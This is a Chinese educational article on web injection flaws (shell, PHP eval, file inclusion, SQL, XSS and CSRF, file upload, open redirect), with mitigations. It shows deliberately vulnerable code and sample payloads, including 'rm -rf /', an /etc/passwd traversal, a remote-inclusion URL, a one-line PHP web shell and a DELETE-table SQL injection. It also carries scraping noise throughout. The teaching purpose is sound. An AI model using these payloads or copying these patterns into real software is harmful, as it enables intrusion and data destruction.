|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1 . Z3 k3 q- H3 C; X% P7 ?2 q' X+ w
[size=1em]2 7 s9 F/ \3 n/ Q# b' _
[size=1em]3
3 d: n! d5 ]; E# l[size=1em]4
2 a! O7 N1 \' a0 T! {0 }( m[size=1em]5 - R) p1 Q; O7 y k
[size=1em]6
# Z$ a! x/ ?) k7 @% M[size=1em]7 : M2 ^3 U/ @3 g( K$ I5 B
[size=1em]8 / Z" {2 b, o2 M4 s7 i$ F
[size=1em]9 2 R0 A6 I# w9 H; e- U7 G
[size=1em]10 N2 Z2 ` _9 P7 X* E
[size=1em]11 ; u _7 z( o& ]3 P# c
| [size=1em][size=1em]use CGI qw(:standard);
* Z# I: h" O- T[size=1em]$name = param('name');
9 D# q& w& D; A1 j# B[size=1em]$nslookup = "/path/to/nslookup";
6 \2 Y7 o$ @# P- k8 N[size=1em]print header;
8 c a/ a! O8 E1 X% N7 @9 c+ R[size=1em]if (open($fh, "$nslookup $name|")) {
& O0 p8 T( Y, L; L4 u3 p: u0 j[size=1em] while (<$fh>) {9 c2 d" r# u. z
[size=1em] print escapeHTML($_);
" v7 ?* ?) x% Q% f[size=1em] print "<br>\n";& T5 y- ^% Y X, S( ?( b
[size=1em] }
( j* \* B, q& q, T( b8 `[size=1em] close($fh);
& s9 Y6 a; K3 @2 a[size=1em]}+ C3 }: s* U! @* u1 f
7 y3 ~9 d) J$ d$ ~* M) O |
. U% }+ ]' f) O, t6 Y7 e0 k! \& ]
/ O. L: y, M8 {! Y6 u如果用户输入的参数是: [size=1em][size=1em]1 # I3 N/ `7 g8 T% T8 ]' R
| [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l
! G+ t9 m. U+ Q; e9 v' _+ _
' _3 U/ r, U* b4 [/ u) g | " v4 q# v p" I' `
& I5 R) p5 b1 i那么,这段perl的程序就成了: 8 D( T# R& }0 x( f! Y$ r! L
[size=1em][size=1em]1
5 t! e; }- D5 a. S9 ^# l& H | [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l' Q7 H. [5 w. V8 K# e( Y3 n" j
+ F( e9 c) T$ k, r2 G$ r3 T% m+ @- u) H |
1 P# {' I J4 j, t; v- s b6 v8 A/ i; Y% |& U, n
我们再来看一段PHP的程序: [size=1em][size=1em]1 7 b/ j1 c$ @$ w
[size=1em]2 3 S$ F( S z5 _ Z1 c9 P7 g, x
[size=1em]3
5 F% p& |. W# g5 L4 u | [size=1em][size=1em]$myvar = 'somevalue';1 j( |- v, x, K! A9 p# h: T) P% \
[size=1em]$x = $_GET['arg'];2 I0 E3 K- E% E3 ~
[size=1em]eval('$myvar = ' . $x . ';');
; p$ f: p3 B! V- ~! [7 Q4 D7 \# n K" r- J8 M4 r) c3 G
| % M+ f) J9 s; J# ?
5 m+ ?0 g2 K1 Z“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1 9 j* g0 f* e: D
[size=1em]2
3 a5 I% [3 h1 q" o& @% N[size=1em]3 - n5 P" H P8 q [/ y' v7 e9 h* }% R8 q
[size=1em]4 8 V- X3 S% E6 k- d( ^
[size=1em]5 - J) ?" Y. X. r9 n' \( d
[size=1em]6 " f/ e X+ {" g) C1 K1 Q
| [size=1em][size=1em]$isadmin= false;& l' S7 c! H% x2 F {2 L6 E
[size=1em]...0 j: _3 g' x8 L8 G
[size=1em]...5 z! h+ w# Q( E( |1 t
[size=1em]foreach ($_GET as $key => $value) {
. ]) ~7 A" q4 @" [$ k# @: [[size=1em] $$key = $value;& K! v# _. O, N" ]" ]5 E8 I# J
[size=1em]}
; ~7 B1 x6 z2 t# Q2 @& t$ m3 W9 l7 P j
|
. F$ \: x# Q2 f7 H4 O3 c: j$ l& ~! k3 N9 _6 {
如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1 B T) M1 J# ]
[size=1em]2
4 q% n0 q( e# N. R7 M- W6 @[size=1em]3 3 ^2 t3 B4 R, D( O' B- ~6 s
[size=1em]4
5 J: T3 Z8 p5 y, w9 r d | [size=1em][size=1em]$action = 'login';4 f* O; U$ S/ p9 ~: F/ p$ {; x
[size=1em] if (__isset( $_GET['act'] ) )
6 P" V+ I% P1 V' m[size=1em] $action = $_GET['act'];
- V. u4 i: o& c/ Q- N' c[size=1em] require( $action . '.php' );
, t! p, V" n" h8 o2 ?. B6 [* u8 _: p# Q' O' ~5 U$ Y
| % |8 r; U1 s# y' x* H6 H
$ i4 j( G0 R J' F2 H1 o
这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)) W, w& o: o/ f$ z0 x
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。' t& h/ p3 S( ]
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1
% }! N$ U2 ~$ z* v9 n[size=1em]2
& i3 a# p7 { f6 e | [size=1em][size=1em]strSQL = "SELECT * FROM users
3 H$ O3 ^/ C* i9 d+ g[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
5 s" y7 C$ j/ ?& [4 z6 r! P+ s9 y3 F# U
| O- N1 E; `# O% E
+ q1 b) I2 O& ^6 D6 u1 }用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1
" x+ [6 S, F: R/ j6 k# S | [size=1em][size=1em]userName = "' OR '1'='1";
! a9 Z0 t. S4 d( l E4 U" ?, `
) B+ e# f0 X* s; `4 ~6 w# U% V | 0 `0 w! M L, J# L1 L q
: s1 W/ A" C1 w5 A[size=1em][size=1em]1 3 I2 [3 m+ F" c8 G/ W9 A+ \
| [size=1em][size=1em]passWord = "' OR '1'='1";+ b8 y9 h6 {* d
, v$ L( _. n0 v# \/ m2 T
| 6 Z1 ~5 ~% U R: c9 }
+ w: Q/ X, J- X& m
此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1 # b, T) K; E9 N
[size=1em]2
( y0 \6 e& p0 \2 R) { | [size=1em][size=1em]strSQL = "SELECT * FROM users
3 V5 x# \" Z9 J6 G U% T# h! ?[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
2 g4 E" z/ G8 h6 ]4 L5 s: {! `; t* ~; _, G; R: j$ N: m
|
" D: D- `, U2 [8 L4 @+ I
& r& Y; ?8 S# u也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1
4 T Q, M3 U% G+ X/ [- v1 d. z | [size=1em][size=1em]strSQL = "SELECT * FROM users;"
% ]" \+ r( L; Y2 A0 _; Y
" P1 {) @3 i! L | 5 i9 H* F2 Y9 `1 w
/ |! E: o5 [- j- U8 E9 u* M这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1
7 C' A/ [; T3 `) e- Y2 W- q | [size=1em][size=1em]username= "' ; DELETE FROM users; --";
7 |. P& ?+ U: F0 K: Y6 \) l4 Z+ o! B! ]/ X- x
|
$ V$ r' u4 }2 T% o7 ?$ x
2 V4 ~ ?+ m0 Y i3 p这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1 % V) c% r8 ^; l1 V( m
[size=1em]2
" k( M$ }8 c! K, y7 W6 w& Z& ~; X[size=1em]3 * |# ]+ a' O6 |) z3 y
[size=1em]4
3 y, R+ _3 I+ O: e' g. ~[size=1em]5 ' M4 g' O5 ] E9 D. X
| [size=1em][size=1em]<table background=”javascript:alert(1)”>' q, q- S% F5 @+ Z; A: Y# u5 ]
( i! g5 D* a5 w( R9 A
[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾! a+ o( M/ s5 S. H) _& y
7 ^9 `& H- A5 o- k7 ][size=1em]<img src=”javascript:alert(1)”>
" ^5 P6 U6 J6 ]9 H$ v2 g
, _, Y0 ?. c1 S |
: z- a# F1 X5 T0 C: s) e' j( L9 {$ n) r, u: O1 P: Z
XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1
1 c% Q9 e! N6 @/ b) E* _# Q | | . Y R2 I, C O; `
; y" c4 E/ H: T- g& K8 Y4 ~
很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。3 }9 r3 A& E) d- I7 ^5 W% ~
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。
7 i$ L2 y" ~2 d9 f2 Q
, T( F" E. B' V9 W, D
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。& n" }6 `1 t: w" {! @ c
- 限制cookie的过期时间。
4 z7 E9 e, ~# Q+ f& I# A5 i. C- Y
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)
2 g' e. k( e% N1 ]" z
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1
; P) G/ ?3 ^4 M, F+ v[size=1em]2
. B( T! B5 X" v. {1 j[size=1em]3 0 Q" K9 G* S( z2 X
[size=1em]4 ; P6 V+ r0 U G8 Z3 Q
[size=1em]5
6 P, j1 z5 _, X[size=1em]6 / ] i/ C* l4 v! g
[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">( e' O" q" r$ J1 e" C5 U5 P: F& g
[size=1em]要上传的文件:
6 i+ w3 ]; i0 G. e$ }$ G) R[size=1em]<input type="file" name="filename"/>
! Y/ e( c8 L' i& q[size=1em]<br/>
; @5 U5 A- k& Y6 {+ I( Y0 w[size=1em]<input type="submit" name="submit" value="Submit"/> v$ v6 }- y+ W- l* y+ c$ a0 F
[size=1em]</form>6 B) e! z' _$ k" _6 k A* A
8 o3 f6 L/ j( W" }
1 v% T: \5 Q x" W& X+ g7 O
2 t) x0 ]$ {4 ~. `3 n[size=1em]后台上传文件的PHP程序[size=1em]1 1 {/ Q9 m9 _0 }/ G6 M
[size=1em]2
; k9 h d( r0 G+ R& A5 Y& E; F[size=1em]3
4 H6 s) A* X9 b& o1 c& M[size=1em]4
/ U) q" R; U2 m) Y[size=1em]5 * l, M' y' t4 M, j5 {. t; V& X
[size=1em]6 2 U2 N! C8 |* }/ y
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);# F0 q+ f, Z4 V( T+ {9 a% C1 o
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){, j0 n6 o% r' {8 y: ^1 r9 P
[size=1em] echo "图片文件上传成功";$ ~% q" _' E% ?
[size=1em]}else{</div>, C) M) x6 I; w
[size=1em] echo "图片文件上传失败";9 D1 V: S( @1 Y3 u- O* V
[size=1em]}
3 G2 j# k. r5 `0 ~$ \3 F" f- T* u/ Y5 l) p1 ~
: n% [" Z. L8 X/ [; N+ l) o3 L% i* S$ Y' k$ J+ r5 [% {* t
假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1
! q7 c+ \8 R3 N% c1 x[size=1em]2
0 [) z R6 A9 Q# _" e% B B, J/ _[size=1em]3
9 L) o( _0 P/ _1 `: u# e( o! c5 l[size=1em][size=1em]<?php
2 v/ X! c: S$ ~- J$ r- @[size=1em]system($_GET['cmd']);
1 i7 M5 n- n% i5 x6 ^7 ?[size=1em]?>* M8 r0 y' Q) N \, k! j
: l/ g3 f8 t$ h) g# ^& l8 H* g
7 \6 i9 t! N0 t8 K# ^5 B
, m6 A" r- e& O& _* I0 |4 [7 i那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1
7 K/ L6 j5 D ]. u& X; v. h, B | [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
' b, n+ U7 G' N. O( Y Z7 j4 u' A- l- C7 j4 t) z
| 9 t2 k. M. h1 g& C) n
, i. S4 n3 f9 A2 ^& c抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1 ! x% v8 { C7 Q" Y" P
[size=1em]2
$ q2 \" v6 G9 C& x6 E | [size=1em][size=1em]$redirect_url = $_GET['url'];/ J) u4 L7 P6 ~/ H
[size=1em]header("Location: " . $redirect_url);( Q8 u0 g' t& M ^0 g3 `
9 _! r/ I G I; r) n0 p$ ~9 o, }# R |
1 v! P+ ~* T$ \1 N7 b0 i! n) s4 F) O Y/ C
这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
: U: \( f# F- o$ g* n[size=1em][size=1em]1 9 F9 r) S; @. n; K/ Q. F: I
| [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
$ b) n* K6 z+ U6 f( a3 v, `
$ Z) N) Q s, n1 F |
, d# c0 p/ y4 s4 \1 [* f) }
: |& n( l, t2 T- {3 @1 _' M这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |